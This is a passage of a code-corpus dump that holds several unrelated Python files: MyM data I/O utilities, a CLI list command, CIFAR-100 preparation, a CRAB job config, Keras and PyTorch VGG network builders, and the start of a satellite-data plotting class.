used as separator of `data` elements\n    variable_name : string, optional\n        name of the variable contained in `data`\n    table : {\"long\", \"wide\"}\n        ways of formatting MyM `data` array in string\n    comment : string, optional\n        description of `data` printed at the top of the file\n\n    Returns\n    -------\n    data_string : string\n        `data` in MyM string format\n\n    See also\n    --------\n    print_mym : Print `data` in MyM data format string.\n    read_mym : Read MyM data from file\n    \"\"\"\n    data_string = print_mym(\n        data, years=years, sep=sep, name=variable_name, table=table, comment=comment\n        )\n\n    filename = variable_name + \".dat\" if not filename else filename\n    filepath = os.path.join(path, filename) if path else filename\n\n    with open(filepath, \"w+\") as mym_file:\n        mym_file.write(data_string)\n\n\nif __name__ == \"__main__\":\n    test = read_mym(\"elast_coeff.dat\")\n    test2 = read_mym(\"households.out\")\n    print(\"Performing pym integration tests.\")\n    dimensions = (4,5,6)\n    data = np.random.rand(*dimensions)\n    time = np.array([2015, 2020, 2025, 2030])\n    variable_name = \"test\"\n    filename = variable_name + \".dat\"\n    comment = (\"This is a test data set of random numbers with dimensions {},\"\n               \" where the first number indicates the number of time entries\"\n               .format(dimensions))\n\n    print(\"  writing test data using [write_mym]:\")\n    try:\n        write_mym(data, years=time, table=\"wide\", variable_name=variable_name, \n                  comment=comment)\n    except Exception as error:\n        print(\"  x test data could not be written to mym-file, the following\"\n              \" error occured:\")\n        print(error)\n        raise error\n    else:\n        print(\"  > successfully written data to file\")\n    \n    print(\"  reading test data using [read_mym]:\")\n    try:\n        data_output, time_output = read_mym(filename)\n    except Exception as error:\n        print(\"Test data could not be read from [{}]\".format(filename))\n        print(error)\n        raise error\n    else:\n        print(\"  > successfully read data into array\")\n    \n    print(\"  checking equality of test input and output:\")\n    try:\n        assert np.allclose(time_output, time, atol=1e-04)\n        assert np.allclose(data_output, data, atol=1e-04)\n    except AssertionError as error:\n        print(\"  x time and data input and output do not match.\")\n        print(error)\n        raise error\n    else:\n        print(\"  > input and output data match to required precision\")\n        print(\"Finished tests succesfully.\")\n\n    print()","sub_path":"DemandFunctions/Appliance/pym.py","file_name":"pym.py","file_ext":"py","file_size_in_byte":16360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"405783902","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom . import Command as IFace\nfrom cpk.model import Attribute, session, Node\nfrom cpk import exc\n\nclass Command(IFace):\n    def children(self):\n        if not self.args.nodes:\n            return Node.root().lower()\n        try:\n            return Node.get(self.tokens_2_filters(self.tokenize_nodes())).lower()\n        except exc.MatchedMultiple as e:\n            import sys\n            print(\"Couldnt match exactly, listing node: %s %s\" % (e.last.attr.name, e.last.value), file=sys.stderr)\n            return e.matched\n\n    def _run(self,args):\n        if self.args.attribute:\n             return [ print(i.name) for i in session.query(Attribute).all()]\n\n        rs = [ (i.attr.name, i.value) for i in self.children() ]\n\n        if not rs:\n            return\n\n        rs.insert(0, (\"Type\",\"Value\"))\n        rs.insert(1, (\"\",\"\"))\n\n        just = max(map(lambda x: len(x),zip(*rs)))\n        [ print(\"%s %s\" % (x.rjust(just,\" \"), y)) for x,y in rs]\n","sub_path":"cpk/commands/list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"621022314","text":"import os;\nimport numpy as np;\nimport argparse;\nimport time;\nimport torch;\nimport torchvision;\nimport torchvision.transforms as transforms;\nfrom torch.utils.data import DataLoader;\n\nclass DatasetGenerator:\n    def __init__(self, opt):\n        self.opt = opt;\n        self.cifar10_mean = (0.4914, 0.4822, 0.4465);\n        self.cifar10_std = (0.2470, 0.2435, 0.2616);\n        self.cifar100_mean = (0.5071, 0.4865, 0.4409);\n        self.cifar100_std = (0.2673, 0.2564, 0.2762);\n\n        self.dataX = None;\n        self.dataY = None;\n\n    def generate_train_data(self):\n        cifarObj = torchvision.datasets.CIFAR10 if self.opt.dataset == 'cifar10' else torchvision.datasets.CIFAR100;\n        mean = self.cifar10_mean if self.opt.dataset == 'cifar10' else self.cifar100_mean;\n        std = self.cifar10_std if self.opt.dataset == 'cifar10' else self.cifar100_std;\n        transform = transforms.Compose([\n            transforms.RandomCrop(32, padding=4),\n            transforms.RandomHorizontalFlip(),\n            transforms.RandomRotation(15),\n            transforms.ToTensor(),\n            transforms.Normalize(mean, std)\n        ]);\n        trainingObj = cifarObj(root=self.opt.dataset_path+self.opt.dataset+'/train', train=True, download=True, transform=transform);\n        training_loader = DataLoader(trainingObj, shuffle=True, batch_size=100, drop_last=True);\n\n        for e in range(1, self.opt.epochs+1):\n            start_time = time.perf_counter();\n            x = [];\n            y = [];\n            for idx, (images, labels) in enumerate(training_loader):\n                x.extend(images.numpy());\n                y.extend(labels.numpy());\n            x = np.asarray(x);\n            y = np.asarray(y);\n            np.savez_compressed('{}/{}/train/train{}'.format(self.opt.dataset_path, self.opt.dataset, e), x=x, y=y);\n            print('Train{} took {} sec'.format(e, time.perf_counter()-start_time));\n            if e==10:\n                break;\n\n\n    def generate_test_data(self):\n        cifarObj = torchvision.datasets.CIFAR10 if self.opt.dataset == 'cifar10' else torchvision.datasets.CIFAR100;\n        mean = self.cifar10_mean if self.opt.dataset == 'cifar10' else self.cifar100_mean;\n        std = self.cifar10_std if self.opt.dataset == 'cifar10' else self.cifar100_std;\n        transform = transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize(mean, std)\n        ]);\n        trainingObj = cifarObj(root=self.opt.dataset_path+self.opt.dataset+'/test', train=False, download=True, transform=transform);\n        training_loader = DataLoader(trainingObj, shuffle=True, batch_size=100, drop_last=True);\n\n        x = [];\n        y = [];\n        for idx, (images, labels) in enumerate(training_loader):\n            x.extend(images.numpy());\n            y.extend(labels.numpy());\n        x = np.asarray(x);\n        y = np.asarray(y);\n        np.savez_compressed('{}/{}/test/test'.format(self.opt.dataset_path, self.opt.dataset), x=x, y=y);\n        print('Finished test data generation');\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description='CIFAR DataSet Preparation');\n    args = parser.parse_args();\n    args.dataset = 'cifar100';\n    args.dataset_path = '';\n    args.classes = 100;\n    args.batch_size = 64;\n    args.train = True;\n    args.epochs = 200;\n    data_gen = DatasetGenerator(args);\n    data_gen.generate_train_data();\n    data_gen.generate_test_data();\n","sub_path":"image/resources/prepare_dataset_cifar100.py","file_name":"prepare_dataset_cifar100.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"151457333","text":"import CRABClient\nfrom WMCore.Configuration import Configuration \n\nconfig = Configuration()\n\nconfig.section_(\"General\")\nconfig.General.requestName = 'GEMMuonNTuplizerOverMC'\nconfig.General.workArea = \"<Base_Path>/MuDPGAnalysis/MuonDPGNtuples/\"\nconfig.General.transferOutputs = True\nconfig.General.transferLogs = True\n\nconfig.section_(\"JobType\")\nconfig.JobType.pluginName = 'Analysis'\nconfig.JobType.psetName = '<Base_Path>/MuDPGAnalysis/MuonDPGNtuples/test/muDpgNtuples_cfg.py'\nconfig.JobType.allowUndistributedCMSSW = True\n# Zmumu\nconfig.JobType.pyCfgParams = ['isMC=False','nEvents=-1']\n\nconfig.section_(\"Data\")\n# MC\nconfig.Data.inputDataset = \"/Cosmics2021/caruta-Cosmics2021_112X_mcRun3_2021cosmics_realistic_deco_v13_RECO-7cd9c17a284f0ac1b81e68557875ecb2/USER\"\nconfig.Data.inputDBS = 'phys03'\nconfig.Data.splitting = 'Automatic'\nconfig.Data.unitsPerJob = 180\nconfig.Data.publication = False\nconfig.Data.outLFNDirBase = '<output/path/>' # '/store/user/fivone/GEMMuonNtuplizerMC'\nconfig.Data.outputDatasetTag = 'MC_Cosmic'\n\nconfig.section_(\"Site\")\nconfig.Site.storageSite = '<your_storage_site>' #'T2_DE_RWTH'\n\nconfig.section_(\"User\")\nconfig.User.voGroup = 'cms'\n","sub_path":"CRAB_SUB/MC_crabConfig.py","file_name":"MC_crabConfig.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"434529921","text":"# Convolutional Neural Networks\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport numpy as np\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Activation, Flatten\nfrom keras.layers.convolutional import Convolution2D, MaxPooling2D\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.regularizers import l1, l2, l1l2, activity_l1, activity_l2, activity_l1l2\nfrom keras.optimizers import SGD\nfrom keras import backend as K\n\ndef build_ds_model():\n    model = Sequential()\n    regularize=0.01\n    ## layer 1 -- input is about 600 x 800\n    ch01 = 16\n    xx01 = 12\n    yy01 = 12\n    kern_W_init = (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(ch01, 1, xx01, yy01)).astype(np.float32)\n    kern_B_init = np.zeros(ch01, dtype=np.float32)\n    model.add(Convolution2D(ch01, xx01, yy01, border_mode='same', \n                            weights=[kern_W_init, kern_B_init],\n                            W_regularizer=l2(regularize),\n                            input_shape=datareader.features_placeholder_shape()[\n                                1:]))\n    model.add(Activation('relu'))\n    model.add(MaxPooling2D(pool_size=(3,3))) #, strides=(4,4)))\n    model.add(BatchNormalization(epsilon=1e-06, \n                                 mode=0, \n                                 axis=1, momentum=0.9, weights=None, \n                                 beta_init='zero', gamma_init='one'))\n\n    ## layer 2  input is about 200 x 270\n    ch02 = 16\n    xx02 = 10\n    yy02 = 10\n    kern_W_init = (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(ch02, ch01, xx02, yy02)).astype(np.float32)\n    kern_B_init = np.zeros(ch02, dtype=np.float32)\n    model.add(Convolution2D(ch02, xx02, yy02, \n                            border_mode='same', \n                            W_regularizer=l2(regularize),\n                            weights=[kern_W_init, kern_B_init]))\n    model.add(Activation('relu'))\n    model.add(MaxPooling2D(pool_size=(5,5)))#, strides=(4,4)))\n    model.add(BatchNormalization(epsilon=1e-06, \n                                 mode=0, \n                                 axis=1, momentum=0.9, weights=None, \n                                 beta_init='zero', gamma_init='one'))\n    \n    ## layer 3 input is about 50 x 60\n    ch03 = 16\n    xx03 = 8\n    yy03 = 8\n    kern_W_init = (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(ch03, ch02, xx03, yy03)).astype(np.float32)\n    kern_B_init = np.zeros(ch03,dtype=np.float32)\n    model.add(Convolution2D(ch03, xx03, yy03, \n                            border_mode='same', \n                            W_regularizer=l2(regularize),\n                            weights=[kern_W_init, kern_B_init]))\n    model.add(Activation('relu'))\n    model.add(MaxPooling2D(pool_size=(5,5)))#, strides=(4,4)))\n    model.add(BatchNormalization(epsilon=1e-06, \n                                 mode=0, \n                                 axis=1, momentum=0.9, weights=None, \n                                 beta_init='zero', gamma_init='one'))\n    model.add(Flatten())\n    \n    ## layer 4  input is about 12 x 15\n    hidden04 = 48\n    W_init =  (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(1008,hidden04)).astype(np.float32)\n    B_init = np.zeros(hidden04, dtype=np.float32)\n    model.add(Dense(hidden04, \n                    W_regularizer=l2(regularize),\n                    weights=[W_init, B_init]))\n    model.add(Activation('relu'))\n    model.add(BatchNormalization(epsilon=1e-06, \n                                 mode=0, \n                                 axis=1, momentum=0.9, weights=None, \n                                 beta_init='zero', gamma_init='one'))\n  \n    ## layer 5\n    hidden05 = 32\n    W_init =  (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(hidden04, hidden05)).astype(np.float32)\n    B_init = np.zeros(hidden05,dtype=np.float32)\n    model.add(Dense(hidden05, \n                    W_regularizer=l2(regularize),\n                    weights=[W_init, B_init]))\n    model.add(Activation('relu'))\n    model.add(BatchNormalization(epsilon=1e-06, \n                                 mode=0, \n                                 axis=1, momentum=0.9, weights=None, \n                                 beta_init='zero', gamma_init='one'))\n\n    ## layer 6\n    W_init =  (0.06/2.0)*scipy.stats.truncnorm.rvs(\n        -2.0, 2.0, size=(hidden05, datareader.num_outputs())).astype(np.float32)\n    B_init = np.zeros(datareader.num_outputs(),dtype=np.float32)\n    model.add(Dense(datareader.num_outputs(), \n                    weights=[W_init, B_init],\n                    W_regularizer=l2(0.2*regularize)))\n    model.add(Activation('softmax'))\n\n    return model\n","sub_path":"models/cnns.py","file_name":"cnns.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"102727031","text":"import torch\r\nimport time\r\nfrom torch import nn, optim\r\n\r\nimport sys\r\nsys.path.append('F:/anaconda3/Lib/site-packages')\r\nimport d2lzh_pytorch as d2l\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\n'''\r\nVGG块\r\n'''\r\ndef vgg_block(num_convs, in_channels, out_channels):\r\n    blk = []\r\n    for i in range(num_convs):\r\n        if i == 0:\r\n            blk.append(nn.Conv2d(in_channels, out_channels, kernel_size=3, padding=1))\r\n        else:\r\n            blk.append(nn.Conv2d(out_channels, out_channels, kernel_size=3, padding=1))\r\n        blk.append(nn.ReLU())\r\n    blk.append(nn.MaxPool2d(kernel_size=2, stride=2))  # 这里会使宽高减半\r\n\r\n    return nn.Sequential(*blk)\r\n\r\n'''\r\nVGG网络：\r\n与AlexNet和LeNet一样，VGG网络由卷积层模块后接全连接层模块构成。卷积层模块串联数个vgg_block，\r\n其超参数由变量conv_arch定义。该变量指定了每个VGG块里卷积层个数和输入输出通道数。全连接模块则跟AlexNet中的一样。\r\n'''\r\nconv_arch = ((1, 1, 64), (1, 64, 128), (2, 128, 256), (2, 256, 512), (2, 512, 512))\r\n# 经过5个vgg_block, 宽高会减半5次, 变成 224/32 = 7\r\nfc_features = 512 * 7 * 7   # c * w * h\r\nfc_hidden_units = 4096  # 任意\r\n\r\n'''\r\n现在我们构造一个VGG网络。它有5个卷积块，前2块使用单卷积层，而后3块使用双卷积层。\r\n第一块的输入输出通道分别是1（因为下面要使用的Fashion-MNIST数据的通道数为1）和64，之后每次对输出通道数翻倍，\r\n直到变为512。因为这个网络使用了8个卷积层和3个全连接层，所以经常被称为VGG-11。\r\n'''\r\ndef vgg(conv_arch, fc_features, fc_hidden_units=4096):\r\n    net = nn.Sequential()\r\n    # 卷积层部分\r\n    for i, (num_convs, in_channels, out_channels) in enumerate(conv_arch):  # enumerate() 函数用于将一个可遍历的数据对象(如列表、元组或字符串)组合为一个索引序列，同时列出数据和数据下标\r\n        # 每经过一个vgg_block都会使宽高减半\r\n        net.add_module(\"vgg_block_\" + str(i+1), vgg_block(num_convs, in_channels, out_channels))  # 将一个child module 添加到当前modle, 被添加的module可以通过name属性来获取，\r\n    # 全连接层部分\r\n    net.add_module(\"fc\", nn.Sequential(d2l.FlattenLayer(),\r\n                                 nn.Linear(fc_features, fc_hidden_units),\r\n                                 nn.ReLU(),\r\n                                 nn.Dropout(0.5),\r\n                                 nn.Linear(fc_hidden_units, fc_hidden_units),\r\n                                 nn.ReLU(),\r\n                                 nn.Dropout(0.5),\r\n                                 nn.Linear(fc_hidden_units, 10)\r\n                                ))\r\n    return net\r\n\r\n\r\n'''\r\n下面构造一个高和宽均为224的单通道数据样本来观察每一层的输出形状。\r\n'''\r\nnet = vgg(conv_arch, fc_features, fc_hidden_units)\r\nprint(net)  # 输出网络结构\r\nprint('-'*100)\r\nX = torch.rand(1, 1, 224, 224)\r\n\r\n# named_children获取一级子模块及其名字(named_modules会返回所有子模块,包括子模块的子模块)\r\n# named_children( ):\r\n# 返回包含子模块的迭代器，同时产生模块的名称以及模块本身。\r\n# named_modules( ):\r\n# 返回网络中所有模块的迭代器，同时产生模块的名称以及模块本身。\r\nfor name, blk in net.named_children():\r\n    print(blk)\r\n    X = blk(X)\r\n    print(name, 'output shape: ', X.shape)\r\n    print('-'*100)\r\n\r\n","sub_path":"achieve vgg.py","file_name":"achieve vgg.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"139456779","text":"\"\"\"\nThis file is part of pyS5p\n\nhttps://github.com/rmvanhees/pys5p.git\n\nThe class S5Pplot contains generic plot functions\n\nCopyright (c) 2017-2021 SRON - Netherlands Institute for Space Research\n   All Rights Reserved\n\nLicense:  BSD-3-Clause\n\"\"\"\n# pylint: disable=too-many-lines\nfrom datetime import datetime\nfrom pathlib import PurePath\n\ntry:\n    from cartopy import crs as ccrs\nexcept ModuleNotFoundError:\n    FOUND_CARTOPY = False\nelse:\n    FOUND_CARTOPY = True\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom matplotlib.ticker import MultipleLocator\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport numpy as np\n\nfrom . import swir_region\nfrom .biweight import biweight\nfrom .ckd_io import CKDio\nfrom .lib.plotlib import (blank_legend_key, check_data2d, FIGinfo,\n                          get_fig_coords, get_xdata, MidpointNormalize)\nfrom .tol_colors import tol_cmap, tol_cset\n\n\n# - main function ----------------------------------\nclass S5Pplot:\n    \"\"\"\n    Generate figure(s) for the SRON Tropomi SWIR monitor website or MPC reports\n\n    Attributes\n    ----------\n    figname : str\n       Name of the PDF or PNG file\n\n    Methods\n    -------\n    close()\n       Close PNG or (multipage) PDF document.\n    set_cmap(cmap)\n       Define alternative color-map to overrule the default.\n    unset_cmap()\n       Unset user supplied color-map, and use default color-map.\n    get_cmap(zscale='linear')\n       Returns matplotlib colormap.\n    set_zunit(units)\n       Provide units of data to be displayed.\n    unset_zunit()\n       Unset user supplied unit definition of data.\n    zunit\n       Returns value of zunit (property).\n    draw_signal(data_in, vperc=None, vrange=None, zscale='linear',\n                title=None, sub_title=None,\n                add_medians=True, extent=None, fig_info=None)\n       Display 2D array data as image and averaged column/row signal plots.\n    draw_quality(data_in, ref_data=None, thres_worst=0.1, thres_bad=0.8,\n                 qlabels=None, title=None, sub_title=None,\n                 add_medians=True, extent=None, fig_info=None)\n       Display pixel-quality 2D array data as image and column/row statistics.\n    draw_cmp_swir(data_in, ref_data, vperc=None, vrange=None,\n                  model_label='reference', title=None, sub_title=None,\n                  add_residual=True, add_model=True, extent=None, fig_info=None)\n       Display signal vs model (or CKD) comparison in three panels.\n       Top panel shows data, middle panel shows residuals (data - model)\n       and lower panel shows model.\n    draw_trend1d(msm1, hk_data=None, msm2=None, hk_keys=None,\n                 title=None, sub_title=None, fig_info=None)\n       Display trends of measurement and house-keeping data.\n    draw_lines(xdata, ydata, color=0, xlabel=None, ylabel=None,\n               xlim=None, ylim=None, title=None, sub_title=None,\n               fig_info=None, **kwargs)\n       Display multiple 1D-data sets sharing the same x-axis\n    draw_qhist(data_dict, title=None, density=True, fig_info=None)\n       Display pixel-quality data as histograms.\n    draw_tracks(lons, lats, icids, saa_region=None, title=None, fig_info=None)\n       Display tracks of S5P on a world map using a Robinson projection.\n\n    Notes\n    -----\n    Generate Figures\n    - Creating an S5Pplot object will open multi-page PDF file\n      or single-page PNG\n    - Each public function listed below can be used to create a (new) page\n      * draw_signal\n      * draw_quality\n      * draw_cmp_swir\n      * draw_trend1d\n      * draw_lines\n      * draw_qhist\n      * draw_tracks\n    - Closing the S5Pplot object will write the report to disk\n\n    Suggestion for the name of a report/PDF-file:\n       <identifier>_<yyyymmdd>_<orbit>.pdf\n    where\n       identifier : name of L1B/ICM/OCM product or monitoring database\n       yyyymmdd   : coverage start-date or start-date of monitoring entry\n       orbit      : reference orbit\n\n    Examples\n    --------\n    >>> from pys5p.s5p_plot import S5Pplot\n    >>> plot = S5Pplot('test_plot_class.pdf')\n\n    Create the same plot twice, using ndarray/set_zunit or xarray\n\n    >>> plot.set_zunit('V')\n    >>> plot.draw_signal(np.mean(signal, axis=0), title='Offset signal')\n    >>> plot.unset_zunit()\n    >>> msm = data_to_xr(np.mean(signal, axis=0))\n    >>> msm.attrs['units'] = 'V'\n\n    Create plot with matplotlib colormap 'RdPu'\n\n    >>> plot.set_cmap(plt.get_cmap('RdPu'))\n    >>> plot.draw_signal(msm, title='signal of my measurement')\n    >>> plot.unset_cmap()\n\n    >>> plot.draw_trend1d(np.mean(signal, axis=(1, 2)), hk_data, hk_keys)\n    >>> plot.close()\n    \"\"\"\n    def __init__(self, figname, pdf_title=None):\n        \"\"\"\n        Initialize multi-page PDF document or a single-page PNG\n\n        Parameters\n        ----------\n        figname   :  string\n             Name of PDF or PNG file (extension required)\n        pdf_title :  string\n             Title of the PDF document (attribute of the PDF document)\n             Default: 'Monitor report on Tropomi SWIR instrument'\n        \"\"\"\n        self.filename = figname\n        if PurePath(figname).suffix.lower() == '.pdf':\n            self.__pdf = PdfPages(figname)\n            # add annotation\n            doc = self.__pdf.infodict()\n            if pdf_title is None:\n                doc['Title'] = 'Monitor report on Tropomi SWIR instrument'\n            else:\n                doc['Title'] = pdf_title\n            doc['Author'] = '(c) SRON Netherlands Institute for Space Research'\n        else:\n            self.__pdf = None\n\n        self.__cmap = None\n        self.__divider = None\n        self.__zunit = None\n\n        self.__mpl = None           # only used by draw_lines\n\n    def __repr__(self):\n        pass\n\n    def __close_this_page(self, fig):\n        \"\"\"\n        close current matplotlib figure or page in a PDF document\n        \"\"\"\n        # add save figure\n        if self.__pdf is None:\n            plt.savefig(self.filename)\n            plt.close(fig)\n        else:\n            self.__pdf.savefig()\n\n        self.__divider = None\n\n    def close(self):\n        \"\"\"\n        Close PNG or (multipage) PDF document\n        \"\"\"\n        if self.__pdf is None:\n            return\n\n        self.__pdf.close()\n        plt.close('all')\n\n    # --------------------------------------------------\n    def set_cmap(self, cmap):\n        \"\"\"\n        Define alternative color-map to overrule the default\n\n        Parameter\n        ---------\n         cmap :  matplotlib color-map\n        \"\"\"\n        self.__cmap = cmap\n\n    def unset_cmap(self):\n        \"\"\"\n        Unset user supplied color-map, and use default color-map\n        \"\"\"\n        self.__cmap = None\n\n    def get_cmap(self, zscale='linear'):\n        \"\"\"\n        Returns matplotlib colormap\n        \"\"\"\n        if self.__cmap is not None:\n            return self.__cmap\n\n        if zscale == 'diff':\n            return tol_cmap('sunset')\n        if zscale == 'ratio':\n            return tol_cmap('sunset')\n        return tol_cmap('rainbow_PuRd')\n\n    def set_zunit(self, units):\n        \"\"\"\n        Provide units of data to be displayed\n        \"\"\"\n        self.__zunit = units\n\n    def unset_zunit(self):\n        \"\"\"\n        Unset user supplied unit definition of data\n        \"\"\"\n        self.__zunit = None\n\n    @property\n    def zunit(self):\n        \"\"\"\n        Returns value of zunit\n        \"\"\"\n        return self.__zunit\n\n    def __adjust_zunit(self, vmin: float, vmax: float):\n        \"\"\"\n        Adjust units: electron to 'e' and Volt to 'V'\n        and scale data range to <-1000, 1000>.\n\n        Parameters\n        ----------\n        vmin, vmax : float\n           image-data range\n\n        Returns\n        -------\n        float : dscale\n        \"\"\"\n        if self.zunit is None or self.zunit == '1':\n            return 1.\n\n        max_value = max(abs(vmin), abs(vmax))\n        if self.zunit.find('electron') >= 0:\n            zunit = self.zunit\n            if zunit.find('.s-1') >= 0:\n                zunit = zunit.replace('.s-1', ' s$^{-1}$')\n\n            if max_value > 1000000000:\n                dscale = 1e9\n                zunit = zunit.replace('electron', 'Ge')\n            elif max_value > 1000000:\n                dscale = 1e6\n                zunit = zunit.replace('electron', 'Me')\n            elif max_value > 1000:\n                dscale = 1e3\n                zunit = zunit.replace('electron', 'ke')\n            else:\n                dscale = 1.\n                zunit = zunit.replace('electron', 'e')\n\n            self.set_zunit(zunit)\n            return dscale\n\n        if self.zunit[0] == 'V':\n            zunit = self.zunit\n            if max_value <= 2e-4:\n                dscale = 1e-6\n                zunit = zunit.replace('V', '\\xb5V')\n            elif max_value <= 0.1:\n                dscale = 1e-3\n                zunit = zunit.replace('V', 'mV')\n            else:\n                dscale = 1.\n                zunit = 'V'\n\n            self.set_zunit(zunit)\n            return dscale\n\n        return 1.\n\n    # -------------------------\n    def __get_zlabel(self, zscale):\n        \"\"\"\n        Return label of colorbar\n        \"\"\"\n        if zscale == 'ratio':\n            zlabel = 'ratio'\n        elif zscale == 'ratio_unc':\n            zlabel = 'uncertainty'\n        elif zscale == 'diff':\n            if self.zunit is None or self.zunit == '1':\n                zlabel = 'difference'\n            else:\n                zlabel = f'difference [{self.zunit}]'\n        else:\n            if self.zunit is None or self.zunit == '1':\n                zlabel = 'value'\n            else:\n                zlabel = f'value [{self.zunit}]'\n\n        return zlabel\n\n    @staticmethod\n    def __adjust_tickmarks(ax_fig, coords):\n        \"\"\"\n        Define ticks locations for X & Y valid for most detectors\n\n        Notes\n        -----\n         - This method is used by: draw_signal, draw_quality, draw_cmp_swir\n        \"\"\"\n        sz_xcoord = len(coords['X']['data'])\n        sz_ycoord = len(coords['Y']['data'])\n        if (sz_xcoord % 10) == 0:\n            minor_locator = MultipleLocator(sz_xcoord / 20)\n            major_locator = MultipleLocator(sz_xcoord / 5)\n            ax_fig.xaxis.set_major_locator(major_locator)\n            ax_fig.xaxis.set_minor_locator(minor_locator)\n        elif (sz_xcoord % 8) == 0:\n            minor_locator = MultipleLocator(sz_xcoord / 16)\n            major_locator = MultipleLocator(sz_xcoord / 4)\n            ax_fig.xaxis.set_major_locator(major_locator)\n            ax_fig.xaxis.set_minor_locator(minor_locator)\n\n        if (sz_ycoord % 10) == 0:\n            minor_locator = MultipleLocator(sz_ycoord / 20)\n            major_locator = MultipleLocator(sz_ycoord / 5)\n            ax_fig.yaxis.set_major_locator(major_locator)\n            ax_fig.yaxis.set_minor_locator(minor_locator)\n        elif (sz_ycoord % 8) == 0:\n            minor_locator = MultipleLocator(sz_ycoord / 16)\n            major_locator = MultipleLocator(sz_ycoord / 4)\n            ax_fig.yaxis.set_major_locator(major_locator)\n            ax_fig.yaxis.set_minor_locator(minor_locator)\n\n    # -------------------------\n    @staticmethod\n    def __add_copyright(axx):\n        \"\"\"\n        Display SRON copyright in current figure\n        \"\"\"\n        axx.text(1, 0, r' $\\copyright$ SRON', horizontalalignment='right',\n                 verticalalignment='bottom', rotation='vertical',\n                 fontsize='xx-small', transform=axx.transAxes)\n\n    def __add_colorbar(self, ax_img, labels, bounds=None):\n        \"\"\"\n        Draw colorbar right of image panel\n        \"\"\"\n        # define location of colorbar\n        cax = self.__divider.append_axes(\"right\", size=0.3, pad=0.05)\n\n        # colorbar for image data\n        if bounds is None:\n            plt.colorbar(ax_img, cax=cax, label=labels)\n            return\n\n        # colorbar for pixel-quality data\n        mbounds = [(bounds[ii+1] + bounds[ii]) / 2\n                   for ii in range(len(bounds)-1)]\n        plt.colorbar(ax_img, cax=cax, ticks=mbounds, boundaries=bounds)\n        cax.tick_params(axis='y', which='both', length=0)\n        cax.set_yticklabels(labels)\n\n    def __add_fig_box(self, fig, fig_info) -> None:\n        \"\"\"\n        Add meta-information in the current figure\n\n        Parameters\n        ----------\n        fig :  Matplotlib figure instance\n        fig_info :  FIGinfo\n           instance of pys5p.lib.plotlib.FIGinfo to be displayed\n        \"\"\"\n        if fig_info is None or fig_info.location == 'none':\n            return\n\n        if fig_info.location == 'above':\n            xpos = 1 - 0.4 / fig.get_figwidth()\n            ypos = 1 - 0.25 / fig.get_figheight()\n\n            fig.text(xpos, ypos, fig_info.as_str(),\n                     fontsize='x-small', style='normal',\n                     verticalalignment='top',\n                     horizontalalignment='right',\n                     multialignment='left',\n                     bbox={'facecolor': 'white', 'pad': 5})\n            return\n\n        # box location on the right of the main image\n        xpos = 1 - 3.825 / fig.get_figwidth()\n        ypos = 1 - 1.2 / fig.get_figheight()\n\n        # height=95:  9-45 8-50 7-58 6-67\n        # height=74:  9-31 8-36 7-40 6-47\n        # height=635: 9-25 8-29 7-33 6-38\n        # height=60:  9-23 8-26 7-30 6-37\n        font_sizes = [9, 8, 7, 6, 5.25]\n        if fig.get_figheight() == 9.5:\n            mx_lines = np.array([45, 50, 58, 67, 999])\n        elif fig.get_figheight() == 7.4:\n            mx_lines = np.array([31, 36, 40, 47, 999])\n        elif fig.get_figheight() == 6.35:\n            mx_lines = np.array([25, 29, 33, 38, 999])\n        elif fig.get_figheight() == 6.:\n            mx_lines = np.array([23, 26, 30, 37, 999])\n        else:\n            raise KeyError('unknown figure height')\n        fontsize = font_sizes[(mx_lines > len(fig_info)).nonzero()[0].min()]\n\n        ax_info = self.__divider.append_axes(\"right\", size=2.5, pad=.75)\n        ax_info.set_xticks([])       # remove all X-axis tick locations\n        ax_info.set_yticks([])       # remove all Y-axis tick locations\n        for key in ('left', 'right', 'top', 'bottom'):\n            ax_info.spines[key].set_color('white')\n        fig.text(xpos, ypos, fig_info.as_str(),\n                 fontsize=fontsize, style='normal',\n                 verticalalignment='top',\n                 horizontalalignment='left',\n                 multialignment='left',\n                 bbox=None, linespacing=1.5)\n\n    # -------------------------\n    def __add_data1d(self, plot_mode: str, axarr, msm_1, msm_2=None):\n        \"\"\"\n        Draw 1D data in matplotlib subplot, handling missing data gracefully\n\n        Parameters\n        ----------\n        plot_mode : str\n           What needs to be shown? Choices: 'data' or 'quality'\n        axarr :  array of axis.Axes\n           array of matplotlib Axes objects for one or more subplot\n        msm_1 :  xarray.DataArray\n           First 1D dataset\n        msm_2 :  xarray.DataArray, optional\n           Seconds (optional) 1D dataset\n\n        Notes\n        -----\n         - This method is used by: draw_trend1d\n        \"\"\"\n        # define colors\n        cset = tol_cset('bright')\n\n        i_ax = 0\n        if plot_mode == 'quality':\n            use_steps = msm_1.values.size <= 256\n            (xlabel,) = msm_1.dims\n            xdata, gap_list = 